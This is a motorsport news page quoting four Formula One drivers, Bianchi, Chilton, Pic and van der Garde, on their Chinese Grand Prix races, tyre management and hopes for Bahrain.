Jules Bianchi: "I am very happy to finish in 15th place today, but it was a tough race and to be honest I was happy to see the chequered flag after quite a difficult final stint holding onto the tyres. I got a good start and held position for quite a while before Pic was able to get ahead when we ran a slightly longer first stint. I spent the next two stints making up the time before retaking track position at the third round of pitstops. After that I was running with Maldonado and it was encouraging that I was able to maintain the gap to him for quite some time. Towards the end of the race though I had to focus on the tyre management more while ensuring that I kept the gap to Pic behind me. Those final laps seemed to last for an eternity but we got the right result in the end. Overall it was an enjoyable race - certainly my most challenging yet - and I think we have all learned even more about the tyres today. I think we have made another good step and it will be important to maintain this in Bahrain before we can then switch focus to what we will bring for Europe."
Max Chilton: "Again, I think we have good reason to focus on the positives today as the race went well for me and the car felt good. I'm pleased that we end our time in China on a stronger note after a few challenges along the way. I didn't get the best start but things improved through the race and that was reflected in my lap time relative to Van Der Garde. So looking at what has been a good race and also the signs from Free Practice earlier in the weekend, it's all starting to come together I think. Importantly, we brought home another good combined result for the Team and demonstrated that we can understand and respond to issues quickly to achieve the right outcome. I hope that we will have an easier time of it in Bahrain so I can make another positive start to the weekend and then have the opportunity to maintain that momentum."
Charles Pic: "For me that was a good race, almost as good as we could have hoped for with our current performance levels and run to a good race strategy. The car felt good right from the start - the setup we went for worked well and I had a decent start on the soft tyres and came in just as they were starting to degrade heavily, came out ahead of Bianchi and for two thirds of the race I was pretty comfortably holding 15th place. Unfortunately on my third stop I came out in 16th and didn't quite have enough pace to fight so I finished in 16th, but the fact we were able to keep pace with the Marussia for the whole race and at some points be just out of reach of a Williams is very encouraging for the future. Now we go straight to Bahrain where we hope things will become interesting."
Giedo van der Garde: "That really wasn't a good race for me. I had another very strong start, passing three cars, but almost from the moment the first set of softs started going off I couldn't find any real pace and was struggling for the whole race. After a good Friday it's been a pretty tough weekend for me, but I'm a very positive person and this is all part of the learning curve I knew I'd have for the early season races and I know I have the team on my side to help me progress. We have the chance straight away to get back to the sort of performance we want in Bahrain so we'll look at what we can learn from here and move on to the next race where I'm sure things will improve."
Related Links
Alonso Wins A Frenetic Chinese GP
Gallery: Race Day In Shanghai